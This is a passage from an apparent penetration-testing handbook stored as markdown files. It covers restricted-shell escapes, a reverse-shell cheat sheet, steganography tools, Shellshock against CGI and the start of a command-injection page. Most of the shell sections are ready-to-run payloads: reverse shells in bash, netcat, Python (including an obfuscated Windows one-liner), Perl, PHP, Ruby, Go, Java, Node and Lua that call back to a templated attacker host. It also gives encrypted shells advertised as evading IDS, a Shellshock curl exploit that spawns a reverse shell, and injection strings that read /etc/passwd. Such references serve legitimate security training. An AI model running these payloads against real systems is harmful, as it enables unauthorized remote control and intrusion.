copy files, 89 | or get access to them, 90 | include mounting devices, 91 | use programs like `scp` or `ftp`, 92 | or create symbolic links. 93 | 94 | ## Programs 95 | 96 | ### Vim 97 | 98 | #### Bash 99 | 100 | ```sh 101 | :set shell=/bin/bash 102 | :shell 103 | ``` 104 | 105 | #### Command execution 106 | 107 | ```sh 108 | :! /bin/ps 109 | ``` 110 | 111 | ### Mail 112 | 113 | `$VISUAL` sets the program to invoke 114 | when the visual editor is called. 115 | 116 | ```sh 117 | set VISUAL=/bin/vi 118 | mail -s "subject" user@mail.com 119 | ``` 120 | Start the visual editor with `~v` and [escape VIM](#vim). 121 | 122 | ### Lynx[^lynx-doc] 123 | 124 | ```sh 125 | lynx /etc/passwd 126 | ``` 127 | 128 | Enter the options with `o`, 129 | change the `Editor` to `/bin/vi`. 130 | Edit the file with `e` 131 | and [escape VIM](#vim) 132 | 133 | ### Elinks 134 | 135 | Set `EDITOR` to `/bin/vi`. 136 | Open a webpage 137 | and edit a textbox. 138 | [Escape VIM](#vim) 139 | 140 | ### AWK 141 | 142 | ```sh 143 | awk 'BEGIN {system("/bin/sh")}' 144 | ``` 145 | 146 | ### Find 147 | 148 | ```sh 149 | find / -name 0xffsec -exec /bin/awk 'BEGIN {system("/bin/sh")}' \; 150 | ``` 151 | 152 | ### SCP [^scp-pentestmonkey] 153 | 154 | Read files with `-F` 155 | 156 | ```sh 157 | scp -F /etc/passwd validfile remote: 158 | ``` 159 | 160 | Run commands with `-S`. 161 | 162 | ```sh 163 | echo $'#!/bin/sh\n/usr/bin/id' > script.sh 164 | chmod +x script.sh 165 | scp -S ./script validfile remote: 166 | ``` 167 | 168 | {{
}} 169 | - `-F `: Specifies an alternative per-user configuration file for ssh. 170 | - `-S `: Name of program to use for the encrypted connection. 171 | {{
}} 172 | 173 | ### TCPDump[^tcpdump] 174 | 175 | Use tcpdump to capture network traffic 176 | containing a malicious script. 177 | 178 | ```sh 179 | tcpdump -n -G 1 -z /usr/bin/php -U -A udp port 8080 180 | ``` 181 | {{
}} 182 | - `-n`: Don't convert addresses (i.e., host addresses, port numbers, etc.) to names. 183 | - `-G `: Rotates the dump file specified with the `-w` option every `` sec. 184 | - `-w `: Write the raw packets to file rather than parsing and printing them out. 185 | - `-U`: If the `-w` option is not specified, make the printed packet output `packet-buffered` (it will be written to the standard output). 186 | - `-z `: Used in conjunction with the `-C` or `-G` options, this will make tcpdump run `` where `` is the savefile being closed after each rotation. 187 | - `-A`: Print each packet (minus its link level header) in ASCI 188 | {{
}} 189 | 190 | Send a network packet 191 | with the PHP script. 192 | 193 | ```sh 194 | echo "" | nc -u 8080 195 | ``` 196 | 197 | ### Others 198 | 199 | Programs such as `more`, 200 | `less`, 201 | `man`, 202 | `ftp`, 203 | `gdb` 204 | let you run subshells. 205 | Type `!` followed by a command. 206 | Try the following: 207 | 208 | ```sh 209 | '! /bin/sh' 210 | '!/bin/sh' 211 | '!bash' 212 | ``` 213 | 214 | ## Languages 215 | 216 | Try invoking a shell through an available language. 217 | 218 | ### Python 219 | ```python 220 | exit_code = os.system('/bin/sh') output = os.popen('/bin/sh').read() 221 | ``` 222 | 223 | ### Perl 224 | ```perl 225 | exec "/bin/sh"; 226 | ``` 227 | 228 | ```sh 229 | perl -e 'exec "/bin/sh";' 230 | ``` 231 | 232 | ### Ruby / irb 233 | 234 | ```ruby 235 | exec "/bin/sh" 236 | ``` 237 | 238 | ### Lua 239 | ```sh 240 | os.execute('/bin/sh') 241 | ``` 242 | 243 | ## Unrestricted Mode 244 | 245 | Some restricted shells start 246 | running files in an unrestricted mode 247 | before the restricted shell is applied. 248 | If `.bash_profile` is executed in an unrestricted mode, 249 | and it's editable, 250 | you'll be able to execute code and commands 251 | as an unrestricted user. 252 | 253 | ## From The Outside 254 | 255 | ### Command Execution 256 | 257 | Execute a command 258 | before the remote shell is loaded. 259 | 260 | ```sh 261 | ssh user@{{< param "war.rhost" >}} -t "/bin/sh" 262 | ``` 263 | ### Profile 264 | 265 | Start a remote shell 266 | with an unrestricted profile. 267 | 268 | ```sh 269 | ssh user@{{< param "war.rhost" >}} -t "bash --noprofile" 270 | ``` 271 | 272 | ### Shellshock 273 | 274 | ```sh 275 | ssh user@{{< param "war.rhost" >}} -t "(){:;}; /bin/bash" 276 | ``` 277 | 278 | ## Miscellaneous 279 | 280 | ### Output Redirection 281 | 282 | Since redirection operators (`>` or `>>`) 283 | are usually restricted, 284 | the `tee` command can help you 285 | redirect the output of, 286 | for example, 287 | the `echo` command. 288 | 289 | ```sh 290 | echo '#!/usr/bin/env bash' | tree script.sh 291 | echo '# Your code' | tee -a script.sh 292 | ``` 293 | ## Further Reading 294 | 295 | - [GTFOBins](https://gtfobins.github.io/) 296 | 297 | [^scp-pentestmonkey]: “Breaking out of Rbash Using Scp.” Pentestmonkey | Taking the Monkey Work out of Pentesting, http://pentestmonkey.net/blog/rbash-scp. 298 | [^0-nixcraft]: “$0 - Linux Shell Scripting Tutorial - A Beginner’s Handbook.” NixCraft – Bash Shell Scripting Directory, https://bash.cyberciti.biz/guide/$0. 299 | [^sans-restricted-shells]: Wright, Joshua. “SANS Penetration Testing | Escaping Restricted Linux Shells.” SANS Institute. 300 | [^lynx-doc]: “Lynx Users Guide.” LYNX – The Text Web-Browser, https://lynx.invisible-island.net/lynx_help/Lynx_users_guide.html#LocalSource. 301 | [^tcpdump]: “How to Break out of Restricted Shells with Tcpdump.” Insinuator.Net, https://insinuator.net/2019/07/how-to-break-out-of-restricted-shells-with-tcpdump/. 302 | -------------------------------------------------------------------------------- /content/shells/reverse-shells.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: Reverse Shells 3 | weight: 402 4 | --- 5 | # Reverse Shells 6 | 7 | ## At a Glance 8 | 9 | After the exploitation of a remote code execution (RCE) vulnerability, the next step will be to interact with the compromised target. 10 | Reverse shells, as opposed to bind shells, initiate the connection from the remote host to the local host. They are especially handy and, sometimes the only way, to get remote access across a NAT or firewall. 11 | 12 | The chosen shell will depend on the binaries installed on the target system, although uploading a binary can be possible.[^pentestmonkey][^swisskyrepo-shells] 13 | 14 | ## Unencrypted Shells 15 | 16 | ### Netcat Listener 17 | 18 | To get the connection from the remote machine (_`{{< param "war.rhost" >}}`_) and interact with it, a listener have to be set on the desired port (_`{{< param "war.lport" >}}`_) on the local machine (_`{{< param "war.lhost" >}}`_). 19 | 20 | ```sh 21 | sudo nc -nvlp {{< param "war.lport" >}} 22 | ``` 23 | {{
}} 24 | - `n`: don't do DNS lookups. 25 | - `v`: prints status messages. 26 | - `l`: listen. 27 | - `p `: local port used for listening. 28 | {{
}} 29 | 30 | {{}} 31 | Use a port that is likely allowed via outbound firewall rules on the target network. 32 | 33 | Ports from 1 to 1023 are by default privileged ports. To bind to a privileged port, a process must be running with root permissions. 34 | {{}} 35 | 36 | ### Bash 37 | 38 | ```sh 39 | bash -i >& /dev/tcp/{{< param "war.lhost" >}}/{{< param "war.lport" >}} 0>&1 40 | ``` 41 | 42 | ```sh 43 | 0<&196;exec 196<>/dev/tcp/{{< param "war.lhost" >}}/{{< param "war.lport" >}}; sh <&196 >&196 2>&196 44 | ``` 45 | 46 | ### Awk 47 | 48 | ```sh 49 | awk 'BEGIN {s = "/inet/tcp/0/{{< param "war.lhost" >}}/{{< param "war.lport" >}}"; while(42) { do{ printf "shell>" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != "exit") close(s); }}' /dev/null 50 | ``` 51 | 52 | ### Gawk 53 | 54 | ```gawk 55 | #!/usr/bin/gawk -f 56 | 57 | BEGIN { 58 | Service = "/inet/tcp/0/{{< param "war.lhost" >}}/{{< param "war.lport" >}}" 59 | while (1) { 60 | do { 61 | printf "0xffsec>" |& Service 62 | Service |& getline cmd 63 | if (cmd) { 64 | while ((cmd |& getline) > 0) 65 | print $0 |& Service 66 | close(cmd) 67 | } 68 | } while (cmd != "exit") 69 | close(Service) 70 | } 71 | } 72 | ``` 73 | 74 | ### PERL 75 | 76 | ```sh 77 | perl -e 'use Socket;$i="{{< param "war.lhost" >}}";$p={{< param "war.lport" >}};socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};' 78 | ``` 79 | 80 | ### PERL Windows 81 | 82 | ```sh 83 | perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"{{< param "war.lhost" >}}:{{< param "war.lport" >}}");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;' 84 | ``` 85 | 86 | ### Python 87 | 88 | ```sh 89 | python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("{{< param "war.lhost" >}}",{{< param "war.lport" >}}));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' 90 | ``` 91 | 92 | ### Python Windows 93 | 94 | ```sh 95 | C:\Python27\python.exe -c "(lambda __y, __g, __contextlib: [[[[[[[(s.connect(('{{< param "war.lhost" >}}', {{< param "war.lport" >}})), [[[(s2p_thread.start(), [[(p2s_thread.start(), (lambda __out: (lambda __ctx: [__ctx.__enter__(), __ctx.__exit__(None, None, None), __out[0](lambda: None)][2])(__contextlib.nested(type('except', (), {'__enter__': lambda self: None, '__exit__': lambda __self, __exctype, __value, __traceback: __exctype is not None and (issubclass(__exctype, KeyboardInterrupt) and [True for __out[0] in [((s.close(), lambda after: after())[1])]][0])})(), type('try', (), {'__enter__': lambda self: None, '__exit__': lambda __self, __exctype, __value, __traceback: [False for __out[0] in [((p.wait(), (lambda __after: __after()))[1])]][0]})())))([None]))[1] for p2s_thread.daemon in [(True)]][0] for __g['p2s_thread'] in [(threading.Thread(target=p2s, args=[s, p]))]][0])[1] for s2p_thread.daemon in [(True)]][0] for __g['s2p_thread'] in [(threading.Thread(target=s2p, args=[s, p]))]][0] for __g['p'] in [(subprocess.Popen(['\\windows\\system32\\cmd.exe'], stdout=subprocess.PIPE, stderr=subprocess.STDOUT, stdin=subprocess.PIPE))]][0])[1] for __g['s'] in [(socket.socket(socket.AF_INET, socket.SOCK_STREAM))]][0] for __g['p2s'], p2s.__name__ in [(lambda s, p: (lambda __l: [(lambda __after: __y(lambda __this: lambda: (__l['s'].send(__l['p'].stdout.read(1)), __this())[1] if True else __after())())(lambda: None) for __l['s'], __l['p'] in [(s, p)]][0])({}), 'p2s')]][0] for __g['s2p'], s2p.__name__ in [(lambda s, p: (lambda __l: [(lambda __after: __y(lambda __this: lambda: [(lambda __after: (__l['p'].stdin.write(__l['data']), __after())[1] if (len(__l['data']) > 0) else __after())(lambda: __this()) for __l['data'] in [(__l['s'].recv(1024))]][0] if True else __after())())(lambda: None) for __l['s'], __l['p'] in [(s, p)]][0])({}), 's2p')]][0] for __g['os'] in [(__import__('os', __g, __g))]][0] for __g['socket'] in [(__import__('socket', __g, __g))]][0] for __g['subprocess'] in [(__import__('subprocess', __g, __g))]][0] for __g['threading'] in [(__import__('threading', __g, __g))]][0])((lambda f: (lambda x: x(x))(lambda y: f(lambda: y(y)()))), globals(), __import__('contextlib'))" 96 | ``` 97 | 98 | ### PHP 99 | 100 | ```sh 101 | php -r '$sock=fsockopen("{{< param "war.lhost" >}}",{{< param "war.lport" >}});exec("/bin/sh -i <&3 >&3 2>&3");' 102 | ``` 103 | 104 | ```sh 105 | php -r '$sock=fsockopen("{{< param "war.lhost" >}}",{{< param "war.lport" >}});$proc=proc_open("/bin/sh -i", array(0=>$sock, 1=>$sock, 2=>$sock),$pipes);' 106 | ``` 107 | 108 | ### Ruby 109 | 110 | ```sh 111 | ruby -rsocket -e 'exit if fork;c=TCPSocket.new("{{< param "war.lhost" >}}","{{< param "war.lport" >}}");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end' 112 | ``` 113 | 114 | ```sh 115 | ruby -rsocket -e'f=TCPSocket.open("{{< param "war.lhost" >}}",{{< param "war.lport" >}}).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)' 116 | ``` 117 | 118 | ### Ruby Windows 119 | 120 | ```sh 121 | ruby -rsocket -e 'c=TCPSocket.new("{{< param "war.lhost" >}}","{{< param "war.lport" >}}");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end' 122 | ``` 123 | 124 | ### Golang 125 | 126 | ```sh 127 | echo 'package main;import"os/exec";import"net";func main(){c,_:=net.Dial("tcp","{{< param "war.lhost" >}}:{{< param "war.lport" >}}");cmd:=exec.Command("/bin/sh");cmd.Stdin=c;cmd.Stdout=c;cmd.Stderr=c;cmd.Run()}' > /tmp/t.go && go run /tmp/t.go && rm /tmp/t.go 128 | ``` 129 | 130 | ### Java 131 | 132 | ```java 133 | r = Runtime.getRuntime() 134 | p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/{{< param "war.lhost" >}}/{{< param "war.lport" >}};cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[]) 135 | p.waitFor() 136 | ``` 137 | 138 | ### Groovy [^groovy-shell] 139 | 140 | ```groovy 141 | String host="{{< param "war.lhost" >}}"; 142 | int port={{< param "war.lport" >}}; 143 | String cmd="cmd.exe"; 144 | Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close(); 145 | ``` 146 | 147 | {{}} 148 | Java reverse shell also works for Groovy. 149 | {{}} 150 | 151 | ### Lua 152 | 153 | ```sh 154 | lua -e "require('socket');require('os');t=socket.tcp();t:connect('{{< param "war.lhost" >}}','{{< param "war.lport" >}}');os.execute('/bin/sh -i <&3 >&3 2>&3');" 155 | ``` 156 | 157 | ### Lua Windows 158 | 159 | ```sh 160 | lua5.1 -e 'local host, port = "{{< param "war.lhost" >}}", {{< param "war.lport" >}} local socket = require("socket") local tcp = socket.tcp() local io = require("io") tcp:connect(host, port); while true do local cmd, status, partial = tcp:receive() local f = io.popen(cmd, "r") local s = f:read("*a") f:close() tcp:send(s) if status == "closed" then break end end tcp:close()' 161 | ``` 162 | 163 | ### NodeJS 164 | 165 | ```js 166 | (function(){ 167 | var net = require("net"), 168 | cp = require("child_process"), 169 | sh = cp.spawn("/bin/sh", []); 170 | var client = new net.Socket(); 171 | client.connect({{< param "war.lport" >}}, "{{< param "war.lhost" >}}", function(){ 172 | client.pipe(sh.stdin); 173 | sh.stdout.pipe(client); 174 | sh.stderr.pipe(client); 175 | }); 176 | return /a/; // Prevents the Node.js application form crashing 177 | })(); 178 | ``` 179 | 180 | ```js 181 | require('child_process').exec('nc -e /bin/sh {{< param "war.lhost" >}} {{< param "war.lport" >}}') 182 | ``` 183 | 184 | ```js 185 | -var x = global.process.mainModule.require 186 | -x('child_process').exec('nc {{< param "war.lhost" >}} {{< param "war.lport" >}} -e /bin/bash') 187 | ``` 188 | 189 | ### Netcat 190 | 191 | ```sh 192 | nc -e /bin/sh {{< param "war.lhost" >}} {{< param "war.lport" >}} 193 | ``` 194 | 195 | Depending on the Netcat version, the `-e` option may not be available, but you still can execute a command after connection being established by redirecting file descriptors. 196 | A FIFO or named pipe can be created locally so when a connection is established, `/bin/sh` gets executed and the shell prompt is given to the remote machine.[^nc-openbsd] 197 | 198 | ```sh 199 | rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc {{< param "war.lhost" >}} {{< param "war.lport" >}} >/tmp/f 200 | ``` 201 | 202 | ### Netcat Windows 203 | 204 | ```sh 205 | nc.exe {{< param "war.lhost" >}} {{< param "war.lport" >}} -e cmd.exe 206 | ``` 207 | 208 | ### Telnet 209 | 210 | ```sh 211 | rm -f /tmp/f; mknod /tmp/f p && telnet {{< param "war.lhost" >}} {{< param "war.lport" >}} 0/tmp/p 212 | ``` 213 | 214 | {{}} 215 | A FIFO can be create both with `mknod p` or `mkfifo ` . 216 | {{}} 217 | 218 | 219 | ## Encrypted Shells 220 | 221 | During an engagement is imperative to encrypt the communication between the target and the attacker to protect sensitive data and from further activity analysis. 222 | 223 | Although most of the tools listed below do not support certificate pinning, meaning they won't protect you against a MITM attack, they can significantly reduce the risk of sniffing and IDS detection. [^cert-pinning] 224 | 225 | ### OpenSSL [^openssl] 226 | 227 | Before starting the listener, a key pair and a certificate must be generated. 228 | 229 | ```sh 230 | openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes 231 | ``` 232 | {{
}} 233 | - `req`: certificate request and certificate generating utility. 234 | - `-x509`: output a [x590 structure](https://en.wikipedia.org/wiki/X.509) instead of a certificate request. 235 | - `-newkey `: specify as type:bits. 236 | - `-keyout `: send key to ``. 237 | - `-out`: output file. 238 | - `-days `: number of days cert is valid for. 239 | - `-nodes`: don't encrypt the output key. 240 | {{
}} 241 | 242 | #### Listener 243 | 244 | ```sh 245 | openssl s_server -key key.pem -cert cert.pem -port {{< param "war.lport" >}} 246 | ``` 247 | {{
}} 248 | - `s_server`: generic SSL/TLS server which listens for connections on a given port using SSL/TLS. 249 | - `-key `: private Key if not in `-cert`; default is `server.pem`. 250 | - `-cert `: certificate file to use; default is `server.pem`. 251 | - `-port `: TCP/IP port to listen on for connections (default: 4433). 252 | {{
}} 253 | 254 | #### Reverse Shell 255 | 256 | ```sh 257 | mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -connect {{< param "war.lhost" >}}:{{< param "war.lport" >}} > /tmp/s 2> /dev/null; rm /tmp/s 258 | ``` 259 | 260 | {{
}} 261 | - `s_client`: generic SSL/TLS client which connects to a remote host using SSL/TLS. 262 | - `-connect`: TCP/IP where to connect (default: 4433). 263 | {{
}} 264 | 265 | ### Ncat [^ncat] 266 | 267 | #### Listener 268 | 269 | ```sh 270 | ncat -nvlp {{< param "war.lport" >}} --ssl 271 | ``` 272 | 273 | #### Reverse Shell 274 | 275 | ```sh 276 | ncat -nv {{< param "war.lhost" >}} {{< param "war.lport" >}} -e /bin/bash --ssl 277 | ``` 278 | 279 | {{
}} 280 | - `-n`: do not resolve hostnames via DNS. 281 | - `-v`: verbose mode. 282 | - `-l`: bind and listen for incoming connections. 283 | - `-p `: specify source port to use. 284 | - `-e `: executes the given command. 285 | {{
}} 286 | 287 | [^pentestmonkey]: “Reverse Shell Cheat Sheet | Pentestmonkey.” Pentestmonkey | Taking the Monkey Work out of Pentesting, http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet. 288 | [^nc-openbsd]: “Nc.Openbsd.” Man Pages Archive - Manned.Org, https://manned.org/nc.openbsd/6f0a5cf9. 289 | [^swisskyrepo-shells]: swisskyrepo. “PayloadsAllTheThings/Reverse Shell Cheatsheet.Md at Master · Swisskyrepo/PayloadsAllTheThings · GitHub.” GitHub, https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md. 290 | [^groovy-shell]: Frohoff, Chris. “Pure Groovy/Java Reverse Shell .” Gist · GitHub, 262588213843476, https://gist.github.com/frohoff/fed1ffaab9b9beeb1c76. 291 | [^cert-pinning]: “Certificate and Public Key Pinning Control.” OWASP Foundation | Open Source Foundation for Application Security, https://owasp.org/www-community/controls/Certificate_and_Public_Key_Pinning. 292 | [^openssl]: OpenSSL Foundation, Inc. “/Docs/Manmaster/Man1/Openssl.Html.” OpenSSL.Org, https://www.openssl.org/docs/manmaster/man1/openssl.html. 293 | [^ncat]: “Ncat Users’ Guide.” Nmap: The Network Mapper - Free Security Scanner, https://nmap.org/ncat/guide/index.html. 294 | [^terminal-shell-console]: “What Is the Exact Difference between a ‘Terminal’, a ‘Shell’, a ‘tty’ and a ‘Console’? .” Unix & Linux Stack Exchange, https://unix.stackexchange.com/a/4132/356054. 295 | -------------------------------------------------------------------------------- /content/steganography.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: Steganography 3 | weight: 202 4 | --- 5 | 6 | # Steganography 7 | 8 | ## At a Glance 9 | 10 | Steganography is the art and science 11 | of hiding a message, 12 | image, 13 | or file 14 | within another message, 15 | image, 16 | or file 17 | [^steganography-wiki] 18 | 19 | {{}} 20 | Steganography is used to hide 21 | the occurrence of communication. 22 | {{}} 23 | 24 | ## General 25 | 26 | Determine the file type. 27 | 28 | ```sh 29 | file {{< param "war.tfile" >}} 30 | ``` 31 | 32 | Read file meta-data. 33 | 34 | ```sh 35 | exiftool {{< param "war.tfile" >}} 36 | ``` 37 | 38 | Extract printable characters. 39 | 40 | ```sh 41 | strings -n 6 -e s {{< param "war.tfile" >}} 42 | ``` 43 | {{
}} 44 | - `-n `: Print sequence of at least `` chars long. 45 | - `-e `: Character encoding of the strings that are to be found. 46 | - `s`: single-7-bit-byte characters (ASCII, ISO 8859, etc., default). 47 | - `S`: single-8-bit-byte characters. 48 | - `b`: 16-bit bigendian. 49 | - `l`: 16-bit littleendian. 50 | - `B`: 32-bit bigendian. 51 | - `L`: 32-bit littleendian. 52 | {{
}} 53 | 54 | ## Text 55 | 56 | Look for anomalies in font and spacing. 57 | 58 | [Unicode Text Steganography Encoders / Decoders](https://www.irongeek.com/i.php?page=security/unicode-steganography-homoglyph-encoder) 59 | 60 | ## Images 61 | 62 | ### steghide [^steghide] 63 | 64 | Steghide supports **JPEG**, **BMP**, **WAV** and **AU** file formats. 65 | 66 | Display information about a cover or stego file. 67 | 68 | ```sh 69 | steghide info {{< param "war.tfile" >}} 70 | ``` 71 | 72 | Extract secret data. 73 | 74 | ```sh 75 | steghide extract -sf {{< param "war.tfile" >}} 76 | ``` 77 | 78 | {{
}} 79 | - `info`: Display information about a cover or stego file. 80 | - `extract`: Extract secret data from a stego file. 81 | - `-sf `: Specify the name for the stego file. 82 | {{
}} 83 | 84 | ### StegoVeritas 85 | 86 | [StegoVeritas](https://github.com/bannsec/stegoVeritas) is a powerful multi-tool. 87 | Supports **GIF**, **JPEG**, **PNG**, **TIFF**, **BMP** file formats 88 | and will attempt to 89 | run on any file. 90 | 91 | ```sh 92 | stegoveritas {{< param "war.tfile" >}} 93 | ``` 94 | 95 | ### LSBSteg [^stegolsb] 96 | 97 | [LSBSteg](https://github.com/ragibson/Steganography#lsbsteg) uses LSB steganography 98 | to hide and recover files 99 | from the color information 100 | of an RGB image, 101 | **BMP** or **PNG**. 102 | 103 | ```sh 104 | stegolsb steglsb -r -i {{< param "war.tfile" >}} -o output.zip -n 2 105 | ``` 106 | {{
}} 107 | - `-r`: To recover data from a sound file. 108 | - `-i `: Path to `.wav` file. 109 | - `-o `: Path to an output file. 110 | - `-n `: LSBs to use (default: 2). 111 | {{
}} 112 | 113 | ### Online Tools 114 | 115 | - [Steganographic Decoder](https://futureboy.us/stegano/decinput.html) - Steghide 116 | - [Forensically](https://29a.ch/photo-forensics/) - Digital image forensics multi-tool. 117 | - [Magic Eye Solver](https://magiceye.ecksdee.co.uk/) 118 | 119 | ## Audio 120 | 121 | See [steghide](#steghide-steghide) 122 | 123 | ### WavSteg [^stegolsb] 124 | 125 | [WavSteg](https://github.com/ragibson/Steganography#WavSteg) uses LSB steganography 126 | to hide and recover files 127 | from the samples of a **WAV** file. 128 | 129 | ```sh 130 | stegolsb wavsteg -r -i {{< param "war.tfile" >}} -o output.txt -n 2 -b 5589889 131 | ``` 132 | {{
}} 133 | - `-r`: To recover data from a sound file. 134 | - `-i `: Path to `.wav` file. 135 | - `-o `: Path to an output file. 136 | - `-n `: LSBs to use (default: 2). 137 | - `-b `: How many bytes to recover from the sound file. 138 | {{
}} 139 | 140 | ## Sonic Visualiser 141 | 142 | [Sonic Visualizer](https://www.sonicvisualiser.org/) is an application 143 | for viewing and analysing 144 | the content of music audio files. 145 | 146 | ### DTMF 147 | 148 | [DTMF Decoder](https://unframework.github.io/dtmf-detect/) 149 | 150 | ## Further Reading 151 | 152 | - [How to Hide Secret Messages in Music Files](https://www.iicybersecurity.com/audio-steganography.html) 153 | - [Detecting Steganography Content on the Internet](http://niels.xtdnet.nl/papers/detecting.pdf) 154 | 155 | [^steganography-wiki]: “Steganography - Wikipedia.” Wikipedia, the Free Encyclopedia, Wikimedia Foundation, Inc., 31 Oct. 2001, https://en.wikipedia.org/wiki/Steganography. 156 | [^steghide]: Hetzl, Stefan. “Manual.” Steghide, http://steghide.sourceforge.net/documentation/manpage.php. 157 | [^stegolsb]: ragibson. “Ragibson/Steganography: Least Significant Bit Steganography.” GitHub, https://github.com/ragibson/Steganography. 158 | -------------------------------------------------------------------------------- /content/web-applications/_index.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: "Web Applications" 3 | weight: 301 4 | bookCollapseSection: true 5 | --- 6 | -------------------------------------------------------------------------------- /content/web-applications/cgi.md: -------------------------------------------------------------------------------- 1 | --- 2 | menu: CGI 3 | title: CGI - Web Applications Pentesting 4 | --- 5 | 6 | # Common Gateway Interface 7 | 8 | ## At a Glance 9 | 10 | Common Gateway Interface (CGI) is an interface specification for web servers to execute command-line interface (CLI) programs. These programs also known as CGI scripts or simply CGIs, are commonly executed at the time a request is made and return dynamically generated HTML content. 11 | 12 | Most servers expect CGI scripts to reside in a special directory, usually called `cgi-bin`, to handle the requests correctly and execute the program instead of returning the file content. [^oreilly-cgi] 13 | 14 | ## Shellshock 15 | 16 | Shellshock ([CVE-2014-6271](https://nvd.nist.gov/vuln/detail/CVE-2014-6271)) is an Arbitrary Code Execution (ACE) vulnerability that affects Linux and Unix command-line shell, aka the GNU Bourne Again Shell. 17 | 18 | GNU Bourne Again Shell, or Bash, is an interpreter that allows users to send commands on Unix and Linux systems, typically by connecting over SSH or Telnet but it can also operate as a parser for CGI scripts. 19 | 20 | {{}} 21 | In addition to CGI-based web servers, it also affects OpenSSH servers, DHCP clients, Qmail servers and restricted shells of the IBM Hardware Management Console (IBM HMC) 22 | {{}} 23 | 24 | The vulnerability occurs when the variables sent to the server, are passed and interpreted by Bash. This variable involves a specially crafted environment variable containing an exported function definition, followed by arbitrary commands. Bash incorrectly executes the trailing commands when it imports the function. 25 | 26 | 27 | ``` 28 | Environment variable with 29 | function definition Expected command 30 | + + 31 | | | 32 | +--------+--------+ +----------------+ +------------+--------------+ 33 | | env x='() { :;};| |echo vulnerable'| |bash -c "echo Real command"| 34 | +-----------------+ +-------+--------+ +---------------------------+ 35 | | 36 | + 37 | Arbitrary command executed by Bash 38 | ``` 39 | 40 | ### Test 41 | 42 | #### Reflected 43 | 44 | ```sh 45 | curl -fs -H "user-agent: () { :; }; echo; echo 'vulnerable'" http://{{< param "war.rhost" >}}/cgi-bin/vulnerable | grep vulnerable 46 | ``` 47 | 48 | #### Blind 49 | 50 | ```sh 51 | curl -fs -H "user-agent: () { :; }; /bin/bash -c 'sleep 5'" http://{{< param "war.rhost" >}}/cgi-bin/vulnerable 52 | ``` 53 | 54 | {{
}} 55 | - `-f`: fail silently on HTTP errors. 56 | - `-s`: silent mode. 57 | - `-H`: pass custom header(s) to server. 58 | {{
}} 59 | 60 | ### Exploit 61 | 62 | ```sh 63 | curl -fs -H "user-agent: () { :; }; /bin/bash -i >& /dev/tcp/{{< param "war.lhost" >}}/{{< param "war.lport" >}} 0>&1" http://{{< param "war.rhost" >}}/cgi-bin/vulnerable 64 | ``` 65 | 66 | ## Further Reading 67 | 68 | - [Inside Shellshock: How hackers are using it to exploit systems](https://blog.cloudflare.com/inside-shellshock/) 69 | - [Wikipedia - Shellshock (software bug)](https://en.wikipedia.org/wiki/Shellshock_(software_bug)) 70 | 71 | [^oreilly-cgi]: Gundavaram, Shishir. “The Common Gateway Interface (CGI).” O’Reilly Media - Technology and Business Training, O’Reilly & Associates, Inc., https://www.oreilly.com/openbook/cgi/ch01_01.html. 72 | -------------------------------------------------------------------------------- /content/web-applications/command-injection.md: -------------------------------------------------------------------------------- 1 | --- 2 | menu: Command Injection 3 | title: Command Injection - Web Applications Pentesting 4 | --- 5 | 6 | # Command Injection 7 | 8 | ## At a Glance 9 | 10 | Command injection is an attack 11 | in which the attacker 12 | executes arbitrary commands 13 | on the host OS 14 | via a vulnerable application. 15 | Command injection attacks are possible 16 | when an application 17 | passes unsafe user-supplied data 18 | to a system shell. 19 | [^command-injection-owasp] 20 | 21 | {{}} 22 | Commands are usually executed with the privileges of the vulnerable application. 23 | {{}} 24 | 25 | ## Command Chaining 26 | 27 | ```sh 28 | ; ls 29 | & ls 30 | && ls 31 | | ls 32 | || ls 33 | ``` 34 | 35 | {{}} 36 | Also try: 37 | - Prepending a flag or parameter. 38 | - Removing spaces (`;ls`). 39 | {{}} 40 | 41 | ### Chaining Operators 42 | 43 | Windows and Unix supported. 44 | 45 | | | Syntax | Description | 46 | | ---- | ------------- | ------- | 47 | | `%0A`| `cmd1 %0A cmd2` | Newline. Executes both. | 48 | | `;` | `cmd1 ; cmd2` | Semi-colon operator. Executes both. | 49 | | `&` | `cmd1 & cmd2` | Runs command in the background. Executes both. | 50 | | `|` | `cmd1 | cmd2` | PIPE operator. Sends `cmd1`'s output as `cmd2` input. | 51 | | `&&` | `cmd1 && cmd2` | AND operator. Executes `cmd2` if `cmd1` succeds. | 52 | | `||` | `cmd1 || cmd2` | OR operator. Executes `cmd2` if `cmd1` fails. | 53 | 54 | ## I/O Redirection 55 | 56 | ```sh 57 | > /var/www/html/output.txt 58 | < /etc/passwd 59 | ``` 60 | 61 | ## Command Substitution 62 | 63 | Replace a command output with the command 